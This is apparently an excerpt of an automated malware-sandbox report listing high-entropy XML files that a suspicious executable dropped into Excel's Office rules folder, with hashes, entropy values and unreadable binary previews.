Preview:	<?xml..8...n,i.k:i..r...90.......a.j1.m.......U8.h\|...R...=mj..p..ez...N$.......,C.w.k...z.{....8.y....m..l..wP...ao4".D .g..e1l.(5..O.Ie.+..xf.GMZ.n<'.tM....N.`..b..z.l`.<C.y......q@..x..9d..udt.`W3.a..BQ.Z..Q..D.<{.&.5....v.a]C..w...jq....!.>x....fvY....'...bw,.y./......@..Ax..C .....P$..f.-..._"..y5..Ya:...K.c.._..n..7....).>F.V......E...Nu...Zx..m/;.'..+..'.._.7I...9.....%p6~u.4.....\..$.....u..$;....)...iB[.t.K<.. .D..........Y..s.u.^,...z..-.J.`@.$....4<8.?.....:....@.....w>...o..5s.p.zI.{..i.@i.......1@.e.UC......9u.H......<\x@9...(,i...7..?.;Ffv........k....s_V..y.p...._...\|....F'.Y...\|i.....f8.....Y.....?..I.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.728263562868305
Encrypted:	false
SSDEEP:	12:s/YkaLxfTbDnnj5ANH3A17N+khZouf0Eo+jkSaL1sSdeBaGWXMzKnv/xmuOcii9a:YYkaLxfTbLtANH3A1VhZMEpjxzSxjObD
MD5:	26DB29DE52B6768064E86B999CA3726F
SHA1:	302B4EFA44BD926B8BC2CE392006D161F320EBD1
SHA-256:	B2E83EE20CCDF7D256D213BEAE2B66B76716E36CFBEB1B138DBF046E71F8AFB7
SHA-512:	A6AD3A06F0D4B50D525851FFDBD218521E05B907DE788B4E0F28D0DFB459B9B4B44F5E911940896EACD681D41B121AA81613FE99150AA964EF3F239F5F4CCDFA
Malicious:	false
Preview:	<?xml..".D..n..#.\..'O..~...M..g.....v..~D.......T.P..w...4...sy.#R.'H..P\./.<...2.ZE..4,'.(.....Y.k9.g.3..?.....TN.U-.4-6z.TW}7..VD.?.....s.%...5...<.NRsi..(..j+9..Y,.g.\..Z.....KI.(S4-..q...P]b.Z.\|8$...Z..h..3cZ..~.....QT.`..Q....Ej..u..iJ...]~.wS...[.+0H..q......^)..8.D...`O...,.r011.e2.?6.t.m..r.....}.;......c...\|.....Sq..7y..R....F....Wa]v..".O?.../v..K-... .......]..r..oZ..%z..0}...j...@{.\..\..$.#.B.5!.......6t..G:L..my..E..l....-...QG.]wC...s...J.....r.A.,.T1.(..Mj...@..`..<.m..Q.:.5{..M...eAw!..\ ^\|.}..6%.Ir=...i>0....:..P..M&o....8.....B.O.`.k.#.5..n..n.......z.Z".....=.....Z.....4G.D..l..j..X.4.2da...r%.v.b.....A.\|."p.x({. _..BD...JL.....6Yi..d.w-.....&8..7..3...T...G......1d.p.fZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.700250399368189
Encrypted:	false
SSDEEP:	12:bR6PsibP+oYmbJcv8CPsXop/z7ie2aVfoMIFYBl7A0VEwCw1btrYO8qE6h4k2zy5:9asijYmOvCo56e9uVGXA0VeWYgrTGObD
MD5:	AB84B7FDE1DFD0640ED64211B2830D7C
SHA1:	06E299E05C6E7AAB017D15338D877729E2E1C643
SHA-256:	A8AAF8969DD70F99DAB31F596C1437458DFC2506B736866AEEB2AEBA38FB836C
SHA-512:	4C3FB74AE050D1C805D2039751EC6FDFB7AF1441526E8CCFE6E446DF6E138561F09D450596C3B80B560FF2A41C8E42EEF03049D551DA204A871A53B48737B7B1
Malicious:	false
Preview:	<?xml.2i. ......!'`/.N....N ...I..N).<...5.6.a.V.......n.Hq..R.w............sB...y(.....9Y...Ex......0.D...z....d%9.....de.L.=...Y...01.0.yG.{1...O.,];..D'.....P.............<C..^...e8...;.^y.......E......3y..]A.9.C...........?R.e<...R.;@4.t......3f.h....y....'...WZ,.....!Z?.mZ..99.8I...[..N...j.j*L...Z.-......)f......h.....h{0.\|.[[..T.+k-....c...F....o..s...n.Y/.......Bw".....'I........'W......_...m...V..;i...#. ."?.IS....:s4y{......;......T_..&q8.g...k+..w)m.}...z... . ...'.Gj<J...<..(...,.+.q..D.r......std..Rx......g.. &..7..#......-G.V....n..g...V....:r.....9..M.9......w.......y.....G..V..{...H....o.[...,u.>\|..P....t.aEc.`# cNXS.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.758743759239078
Encrypted:	false
SSDEEP:	24:AOWNnF1Ey+M1tL2yFo9I5YvXe5OltkgPYuObD:Wv+MjRa9I5YfsdD
MD5:	B136E7A3C07A912E9DF725289A9B78B7
SHA1:	2EB4F8A34A41D5CC71056BB7B5917F09EB4C86B6
SHA-256:	7405E8EB3A76AA6EE10520E544A8284ADE4539840A979DD5B5394BBE587150F4
SHA-512:	687B86EFFBE1BC7A86BA09DA15445F62A758DAEB697E0A58DB5932DD2F1194F53C0D82BA3C5F04781193A4B1D14E3130F2773A2757DD2CB8F9BA1B363FD11BD5
Malicious:	false
Preview:	<?xml,."....F.3Hp9X.E.....%....,..vL.v.b.......X2 .].......@].....\|p.sh../q,.....ES.8..\|.ux.5....J...=W.u..3..7u...-....I.k.GK.u./..xr.M$...a...nF.pI..g}..3...}..-....~`...~.....'k&.....B.....KL..\|;..?.:.u...o.5....)]..M .9/AL....X]H\...m....a.g.z.ni..cY.....l..)....<..M........^.;W^.ii...Hk........^.`U.\|.)..qrH...L->.......K.....y.A%.....f.....B.P..E.:~......Je.CQ.4F..N.2.....E.J.g..C..?d.............Q......a..J3.9=...r.....D..........C.4Y....x.@j..>....b.p.F..6....}Cij.t'...".C..;..j.../M.b...&m.X.e.G.......9/^F..j.B.; .%.H1..b..)@....>...%R....Q&...x..........rE..{.vu...Y...m..j.....an.'....oH.w.G....U%..i.....~t~nz.....o...s. ...'..J.....o...v....P..![.c..w.z.j....d(.j+?.J.KJ.."aO%Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.734225310830981
Encrypted:	false
SSDEEP:	12:NjD98V7Ls49nP82BDKtjOHGobD1MGMo5qHoduPty37rpgFgAFvA+qA19aPuOciik:NjDeXs25st0b6baqHoduPA7WFgcA+qAQ
MD5:	43E35C02CF6109551EA1244032242FCD
SHA1:	708E871DAC303CC56347AD3B572A0DF3F8F24357
SHA-256:	1AD964A072A888FCDC7EFF38295868D8BDEC12BF93429AE666A0FE3424C9F968
SHA-512:	97589F3EF18DF5FF63BF9BCF83E01C3095A9C2C0F866E0E4D566CC489D144168656F7801384AD2F8481CBE730AA0A42BD8A70DE01A64E9F6B332759AEFEC7C42
Malicious:	false
Preview:	<?xmlK....f..IF1..A..>.5...[......T........../..=.5}y.a....?...O.;...Qz.'9"..M.k...+..'......~.X.u..2.u...J....+..0.D.{~..#8...9.... ..'(m......z:...F.Zz......t.......T...[n......d...s..5............../Tea..p.%..p-roP0....R...9>.5_..$.b.....}..B.A...?.a....5.8>[...........h.S..N.S....+S.i.z.V&...vF....)\.4L..B...I..o....]{.h..6......oR..~t&.H3...q.....$.(@....F...r.....}@.f..T#./q.`n.....w..t.........+....H>lf...B.`.F..U.\...W........r.n.QS.....n;.r..@Y..6....o..?.....3m.49.,l..V.!.Y.b..3.\|.m....4.<ba..H".]..-.\SV..........F..PF..Z.._.....@~...d..k..A'IUn.wR.'E.$v...VEW....)@.o-.3.g.W.........v...4.. ...>.n?.....J.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.721294836594148
Encrypted:	false
SSDEEP:	24:I0I5rqRD8XgRsMZsRSBXaZzBOIEN6hFObD:mAMXDSYsz6hKD
MD5:	64F7C2C888706C428B5B7D8DE8E03F8F
SHA1:	E79B6BF7A3981BBADE03AFF83A830B1FC4613A98
SHA-256:	99712B25C7E5704DFC30D4AC512BA664434413A157058A719C1EE7CD72CF7D01
SHA-512:	C4FC0B5C8F50BE14C410DB78E952CA4466F9E31499CFCE2C2A48418F656B638802C05181FE387A4555D66D1E885AED0BCA2C46C2B3626BD599C7DE27115C3E40
Malicious:	false
Preview:	<?xmlu..1.e..L..$......n'.i.#i5..\|n....A..P.l.......NdI".....}..8d.WR..+..TsO>..&....1..m.!.?..;&......6...xl..m.5...#..y^.sP.z5....5I....H.....bU.B..1......2...4.0..f..V..v.w.W.....[~...-...U.....A ...h.p..y-...H"6F.~.!.$.~.M..7..AT...1b.!.. u.j(..Tc..(.'..2.-[.@..+}X.(..?....3].vU.....+..q...6..G..d.....m)0k......s.]a."41 ..>.s.....b.`....7...y..'.\..y.cZ.l.B..}#e.jf.WP.z.x.f.V:.O.M8e....v.%......\t1XR.[.:e.pQB.l..U.(W..........O.[.x..*......m<....E..<^.0.RR.o5F...Qet.G...ZPh..P.{.^.f:(.......[y.7.....w.w3......b<.JZ.(..6....k..Ah.#q.;#...ZC....\..r....z/..2.}..K.8.W.1.....\..6p[\..c..we./n..'..C..hu...Q\........#..6...c.H\...)./...;..LbJ.`+...fB.K..W....0.].f....o.[.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.708453374682615
Encrypted:	false
SSDEEP:	12:kJ+1S0HKHX5INHnKhMoY1fAAjojZT19gR4oHT9HSpZ13yt/FgVuOcii9a:A+w0HFNHbL1YAcZT1KR4KxSNgdObD
MD5:	3165FC9DF5A2E0FDFE54FEFC8FF283D0
SHA1:	2D07A9A830D463B9AFDED415BAD5675C66A996C5
SHA-256:	C1B6F206AE6EEDE881EFD82AB16FC0030D7D5AD8BB5D11DCDE099304A62277D7
SHA-512:	04171BB6699A0672E1B05A9536E436CA198EEDE2B6BDABAEA127AD874D4C7A978F276CE949ED3CC2026F6B67914B842904D0247ACE8CD627C72BDCE8BA47A6DD
Malicious:	false
Preview:	<?xmlZ....#u.].g.l.......M..m.fy. .t.......2=..q b.GH..M.c.i..%Sup.bf..GQ...T...{...4....S..{...P:v6$.iZ.!,U>...v..Z..u....:.Ir.w.z.............8.3.#.......D.b.1o......b.F.]..u$.\|..To..Y...=..--.v.u..c.\..$..Tu..@y..(..4...:..[..o...5.......\.T.S<om...:....V...B.....)...O>..2w....~2.Jfp....[....H{;.....e<Nq.d..g:.j%Um..&~.~r...o.G.\|f!.Zn...t,...$yDQ=...Bt.<+.....P.n`..2h2...A..R.P=N..H.W.[N....q.J...K!.{?.....W@....aK0.<....Ak{......+...m.:.\|u.....DU......=...i....o..q..+........hl0..E.0..#..V....Qj_%..=..i.^.!.u...L$...E(.....=...!...\|..F8)..d...t.y.'.........j.Xg.TEK..S.................b.@[...u.K.S/5...S...xs....53..H....=.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.699554386919935
Encrypted:	false
SSDEEP:	12:RD5CtiLXeI37RiNMzxj+fflPU5iGhWa6hkin7aftY7XZh3P3Mmyj2DS2oaHdWuOX:BwG5zxj+a6hLn72Sh//yS37pObD
MD5:	4801872033A94913517608828C7E699F
SHA1:	44551D644AC31CEE2816315E6F8493FE3866BFF5
SHA-256:	6662CE1CB986FB7587FA846AF757BA5F476B651C1527B370E262FD99B9C7ED29
SHA-512:	34A2FA6B187265118CF7C28F639C3A7E5988FC44EDAC49543D028DA7A17DF1BF6889E404BF494C8F40A97E94A75EDE57AEB11514DF2A1597B85D07E3CEB5F208
Malicious:	false
Preview:	<?xml..H./..@.G.Q.r1....."O.0.0..\...{G....S.h.}.\|.M.D.A.._..?.jGx..=.TIuD...E.w..bw.} .T..'..3...\..uw....#...O,.B\|%gJ.6t$...Oi.o.YNt..BZ..,.Ye.../.I>5../ed..p.R....!.lQvru..i...BH .%.....&..$......m'.?.%.#K....H..()...@.+.....3.1....!..x.<S3%:...\..Z..B&2...,1.y..BB...]..+.ew....F..M)..e.....Yk5[..Nx<s...EC\..2.[ r.......R.c.7+..P/.rY.~f...6a.,.82J=.M0o&...VrB8.P.eJs..(..C....L.[.....6........<]...f...y.R...2S.m.77J....!.M.K..~~Re]...`u#6.P.!...M.K6..._3.2..b..............{...E.............;.LK.6.Rhi.+.2..M..r.?(.......>&...5..o....x%..z...).t.}C.a.!... <...........m..E#Ux...5o(5...2...x?^Q.:....F@0...}T......w<{.^.k..+w.A=.\|p.t?.,&......\|......2.>._...Jq.[.l/......xA.p....M(..:.rZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.693464568610659
Encrypted:	false
SSDEEP:	12:kPRVRJqrmo/FUVB638wYtHPICFYFGIHdphitJUwgzlJicGtgFF5w7j/LuOcii9a:6RJamw8wYd1F+GIHgtJUwgJ1rSSObD
MD5:	45BEA5FB705319FD9FEB9B10F45AD672
SHA1:	928ABF64A399079AE7467F080C2B8A3F0ED44CF1
SHA-256:	1AFB042E2E3B1F717481FBBC26C5DA7E3335FBDC0CAE783405DFF03B59D90768
SHA-512:	1090C32F42BD6291C50FD1AE94F51C5E0AA9597108D97D00EF69B0790C5BA43B2FF848F9C10A05D3C84014DFF0988401CE4DC06439BE68290DAF1632241DD740
Malicious:	false
Preview:	<?xml....Q#T.....Z&.Uy.9b.).....Q...}M9.O.iXl...t....z.+...b...zG<0xRAZ.S..~.NQiw.?(..A.. \|....j!g{..x.R....._.{..<..o.js.lO[^5.A[.6....5......vz?..X+.\|Ui .....W....O....%.m.b..o....7..^...i........b.\|.T..4\|_....A.!..A..\|......I]..\|z.KH...w[.#e...H.F2.$..;+6.d.;...u..MGz..'}H..6.../..{..p.A/ EU.KP... .6_.c-M.L...q..v.B.67....+....Q.j0.O\.i..x..E..U...1..V.>Pb+t3i].l.`....R.\..@.gc.......L...>..n0...Pk.g8.Y............$.}..J$<....}.P...`;.d.....k......Jl....0VZ..G!..5%..T.ItF.........V.\|.4.....5.eds'G.............!..G.^.R...V...L..>.{].......Ce4)d.C.g24....fVj..s6.......!WQ3.t9.`..x(.o.....AM$nN}...B.d.%........".....4im". q.\..E..H#.Z..V.....+4Ss..b.._...I\....X.....y.&..<.e2.+..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.74360229409136
Encrypted:	false
SSDEEP:	24:Ox/Ip1QS+QIadAQ33GVDg83uIEdVEK/U5ObD:sIcSXINQ33GwIEU2RD
MD5:	F9D66218DC835E2EFE29E12797728CF1
SHA1:	96F34388A322422936EDA8C1B6E6F2C91F40F7CD
SHA-256:	85683A8337CEA2CA62181AFFCB46C1006B695A37F83AB835D729C8813500ADF1
SHA-512:	DD3693D618B0D4FBE8F2F123AE8F1D77F61D77197F78143D4B7FE4DA8F1816F1F1F3E895D946E70A3CFAD8853A8D6B0AE0A898A9C497AB0BEA0493570EEBDD14
Malicious:	false
Preview:	<?xml0.......{..M....M,..C..........V..9........),....DE.7+.5W.t..1...l.b....0,..d.O,....'..u......x....W.DM?=>.d..6.Ox.0...[wv.a...7IA..U.\\..h`.D....n...i..h$K.f/....J........V..5.F....S...P.....}.l.z..K.f8.....i..\>.......Hb...K.O.s.c.csP..{f...mh..:[....!w..$1.#.L.D.t.'..,R..5.....e4..T..)..... .t..[dI.......h.......5.[.....i.......P.PMJ.Yuw.....'..Vs..s9\`y.=..../.(........d.YG8O..?...N.L..<4%...J..:.6....~.E...6...a........^L.sk.}...&i....z.......p.........uY...%K.B:.1..4@t...z...\.`#.c.......z.;.Y7..k8.Q.0'>..Of.....1HT..T.(..r...+....y..cgaS..K....C><].0./%x0......_..[.:..m..Y...!..Z5....r5'b 1Y.b1..+{..z..x.....-......2l.CVv8.KS....P2.T.I.+.@./c.}.).;Fhd.5.M.%.J.S........6:..N..).,..`2z.,..+.`EZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.707435846342341
Encrypted:	false
SSDEEP:	12:Z3jApoI6K50RIlz9Wu7/LLbIn5i2+S4WjynnifjWGWx8R6Di/PAoohuOcii9a:N8sWtcu7/LLqiSjyniPo2ObD
MD5:	8DA42A0A6E9C9993440F8B76EB4FFDA7
SHA1:	2B44AF3DF4DA6A0EE9F4F16B980C61149197036A
SHA-256:	18663959CB501022FABDB42B005566937C38651B706A4EE37D95615B9FF053BB
SHA-512:	548FB85AF11E0405F752AE67AAD579E1348236CF1A341E3DD1867D9AE3DAEBD22A4681B6E52AC111C241CDB4365AF6D8BB6045FF39859485E49A6583ED632340
Malicious:	false
Preview:	<?xml?p.<R....[.l...W7.X...`.'.>.<u..S.x....55h...'.P.b..V..j...D....".^%}{..\|.t..u+...v`./...p.H....\|x.?n...<-.....4e.hX.`.J...I.x.v.,.IG.#..S....a.9...H&.c7XW.Od.9.n_.J........RL..3.^...?..'.o.P@G.`N.mI<T...q...y.......v<s.&.`..^.Ak.y.1....nF.j$.8.8.S..{..Op..w#...5.8.8...V{h..'.;K.W....`oPd.......qZ?....,2.h\.h...-.(...r[...'. .?....$..s[..q.}I..P...(m..\$`..G.....Z..x..Z...rTl.k.3..e.j...i.)k5+8p../R.......:...7:.Q....z.+MO.SF.L3.J.B.....`....q{.=...s..o..-....S..."...5..?6/.Y..*.....rP`..d.?J..try...t......%..$....el}..U...p.6....\|......Do..."...z..`..aU..Z$f.P..W....N .f8.K....jl'...\-d.,EV<1@'...M.@..U...!.=...WK..^.o.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7169448679836945
Encrypted:	false
SSDEEP:	12:6IfnoBpbA5Qw/3cNKjR3adQ1psPL2rKkaSkNyeH2tA4rbibZJb2TZquOcii9a:3foP6QrKjRaQ7KLyK9pKrbiZJaTlObD
MD5:	A53F28CD262DD592FFBBF1DD2222CADD
SHA1:	960DAC05F5D238947E128EFC241EEFA8D4162E18
SHA-256:	01444CB3A1B3EB28A60ECB5BF771C607EE9C8D399179313318396E6C1B8D4A7B
SHA-512:	E197BB6CD1E46DDBE992FC5F41C609ED21869A9E114630E5B7BCD8F386A42475FA10FCA59BEB825A5BB70437B1B4EF2809E64C5DFC392057B3FD4F5E0F5E0468
Malicious:	false
Preview:	<?xml.C.u"..K:-.@.G.y:\|.x.2.....A.?..y .2...4jA.9..v..YK..~^...+........^..j?.W....lH...P../..m..7..u.x..C...mYQ.C.....q.S.....0dAB8..7E..UV~......5\|..I@u?.-.(S.J9......D..Z..+9.....&... p..TQ1....XO....3.O.J.!A..q.:lG....Bs\|....V.p..B.x.&.Q.w6W..B.%.H..b.D.22.O.W.3.(L.(Q......t.X+...n...f....\|.O..1..].1..K.D.i..[...!..wx... ...0i...e..5.^....E....cA0..&H9..K...==i)...G9.M...^.q.N..;.#z.}qh...k.&#qc....O.+]...a..6..+1O&.<........,y+.^...7.c%..>./..>......".v-..r......4...m...........E.c..~...z...A.>.....G..8.g..w.!.X.R...5<u..........R.#}.{.tR...G..>g.Y..I..q...........jh..Y.....$.X.T..^.+..Pk.....:........c.+...>..e.'....GE.MG....;Ewx.....\|..h..9..A.Q..aO?$.EJ..=.d..9..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.661240512708058
Encrypted:	false
SSDEEP:	12:kUqd5IXIoaLLp2yydPa6bbuHEq1/DT/FgJ+8BB3fvWkAX07hioGLv2uOcii9a:6d5+IzLLpcdGRH/FOB3nOXRoqbObD
MD5:	FA2FB6D820F8B69C5FF0B705D6350B3E
SHA1:	DA1BF629ACF5516B1AA97B4F26CAA47663856638
SHA-256:	8EBB0350B5B2284E20960F1B8A1CEA8E680ECFE6D87B69E3D4D820F36BC393A5
SHA-512:	D8B3DDD2338110DF15D5F11667EA3EE5A7842519F8BB8A4EF13C9DB1848688B2F8ADC804B1FA5C673CEAED45D227FAD41D673FF2E753E50D19F0628F23774998
Malicious:	false
Preview:	<?xml._.RdO.4...........4.....1X.........\v...w..T)j....u..t.gs....t..{!..#.E....8x.._..+..Bl.?.)Ma...7k.-..U^.k=j3MHq...p^i. ..l.b.&;_..A...U....Q_E38_.....6...Zy.....G.n.....\..h>8T.....>..L.,.e....s.+..@....h_.c.F...3...[.j..}..m....s.....^...^V.o.B4.-.HBK'<.h.i.Y._..EK.b...{.}o.'.:j<....hj...S..B.F(\|OV..Z..{_..l:...,c../..NI...ch..)x.%..o..%...Z8....qVD%NO.J... D..{L.B7....{I.RS..Tq..Z..\'.l..GBp$b...!L."...O\..6.{..:..*c..b..T.M....-y^#lY......r..S"...b..........y..R......#.2....E.Z.R..M/0..St.b.].f..k.d....nn&w,...CH...K.4..kk3.....C..I.(JS+6.;Q..sG.nn.0-.`..i.......j...xY//Fa.5.W1..3.v3S/.jE?..JBmm.j......'.....%8...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.687785963132715
Encrypted:	false
SSDEEP:	12:EafTTH5ydE7eKx7loc4CbHNtWNNlkckpbgT7kyWJfQ5ev33i6ab6CZauOcii9a:5ZUE7eKxKeYNvH4u535evS6k9ZfObD
MD5:	DDD20EB537B7B3063B4A5E97D1BA46CE
SHA1:	51B0CA3647070502B8B2A4B79C2E7310136A084B
SHA-256:	53CABC4445E545E92C1BB6744298A55DE5571E5D67AAF38ACD27F9420A28AB3D
SHA-512:	4623BAA5B9DE0ECD27A31DDA7C41599A13E49F4B1F891C0600C8D7DF8D0601D5D493E9D37D83837126BA0AC02C2408154EA24A7F58E464562AA755253A8176A2
Malicious:	false
Preview:	<?xmlyGt..8.L3.....3.toV..'.S@.@M.P2..4.v.....M"sTpW..<E@0.quJre.r..e.Jr.R..CdG..\b..[Q.uZ.Gx.a..........-.!..Y../...`d.K.C..C........s..;F7'A..FF.k.F..4.h...R.?..5.v.x.S..g...SsY.@...o..2,....o&../4!]..G..K';...d>...a.p.p...tx..M...cR}......y...IE:.A..(].......G7..a.X.........t..lW.....o.`e..v.yu$.-......q..`.o..(.f...f.Q.-Q...)....n5?.l....K^!_.;_o.q.h..F.R.j..vS.j...2x48..cwf....$....7..F...^...C9. ...;..e...a...A..a.8.I ..uB+...6E..../.{<.....v.R.......k.4=....e..^.U.4.;O..E.g...B.2..............B$..h~c0.........c....Q...t3.^..L1m.^C..{f.#N-i....p...z..S.....GX.......1.pD..].O....>eu.Cc...gD}2_b.F2D.U..@..:......8..>.o_.,.".U.....#";.K.......J9.Qj@....v..e"...y.....+....6..wZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.727185479552604
Encrypted:	false
SSDEEP:	12:LnwkS0c0/M/sw50a+Ykp7Hrz4saZMtRVzohWGN3sa9PuvfW/bARcoRrPd62Omd7P:LnW0QkJa/sUZaR0WWsa9Puve8RJg2OmJ
MD5:	CD966D89813FB6754DBC1E3C6683AF88
SHA1:	33A0EB8B75F64472875281552C3C514ADEF13DE9
SHA-256:	AAB183CC0D19B6E25C56188EE46054DFF91AEA18F6AF965FA4797E90F17D1D46
SHA-512:	9112DA2CB307B5FD34EBB3050C5D1F63F8FF1C0FDB2F78CDAB25E7A1FCBDFF75DF850F30FFFB664CBD91D6A8C68FD97BFCB7CBD81EEBDB1AB69421A717A00D57
Malicious:	false
Preview:	<?xmld.......+..G..I...2!........P...g.'...`L ....207.....z.....q[>c...D..H.p-...W..Z....jr="!.<R......bd!_..tP..K...P.SNX....v.d..:....\|g%....N..k ...o.)...r..w.......u.$....S=.......Y-Ab5...-..i....r..b.tM.~l!_\wv......mH..5.YN..q.q".[.o.&.B..H.]4f'..\|i..._../....qX..d.B'`_..1<G.)...D.,..i..k...@..2..D'..[E.R....-...>,>...f5Gu....../I...`...6j..].U.R_...h7.}...,.G...)...}.a{.y..x......."...]....@!.[.....)6...b..`...r....Z...........v7C....L.j.(....b....i~?...a.Q..".....(.b.8....].b..w..4....a...z%..W...c.0..0n7A.....^..ch...O.(<.`.E..........EUy....8T.;G.....Q...D+.>...q..C;.j..f.......~C8.....t\..m.IU.?...wV...hg5........q....R..lZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.686401700182667
Encrypted:	false
SSDEEP:	24:V0Q5H+PqNwKSuuupwPV8nShuV2aha4MZO9WKxn47no7tObD:eQrZSuOPVc8u0aArOXxn47o2D
MD5:	0A8FDB8F570F1B1B55D53AD8132CEF93
SHA1:	20DEF7DA7B7D54640846BAE2A71F6E00C91F28A5
SHA-256:	151AB50F0D1C8C85625C0FDE5968BF2DF83C0CF471D6A1FFECBFBB973D3AC79F
SHA-512:	4DCB2133687A0E7A049ACB9463C75C95683E3BB9C575F8D768BE68E45C16B6A15467C9A88A33A296759C858F894B88972B1E93F789AEAD1D715987E9D434E3FB
Malicious:	false
Preview:	<?xml..N...z..2.h..0NpE.QZ^... .b....qr...k3.k.?08k..Jd.M\|.]..8..t.~..@0p........:Y......M..............y.....p$.B.v..F.....1..C...0C.E.mY-..6..p9.+^.+..E...HF........t.AO....j\|&.%;...M$\#......,W...!.J^X.d.{n..7k.(.I,W;t.^.i.<.2..1.{:..l..?..]......I..4...Y..05..b.f.jvTmo(...%9...(.3..`n....$....2,..@..u...Rs..U.ls.$.z3.Uu..b.Lj.-..S......R..F....w{.....1...Y....E{.j.`xF.+.V->.s.D..wb.$K.M.....gz.b.&k..n..B..a.r.5....{.....x..N.w......U..'.....<4...qi.\.....-H.3HC5..2.9....F>..n.D....s...n.@..Lb.i.K.#...J04....HF.k.YN...r....YRq.......c.qHY.,$_9p.......$......`0..........E...%.U.K.j_7..........?.mx..3].q....f...-..x...7).9...$,u..Y.zq.....QTx..<.9.\|..?>9.u...J..k.b.Z.4..M.6.W.......D.....lss[o].9...w.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE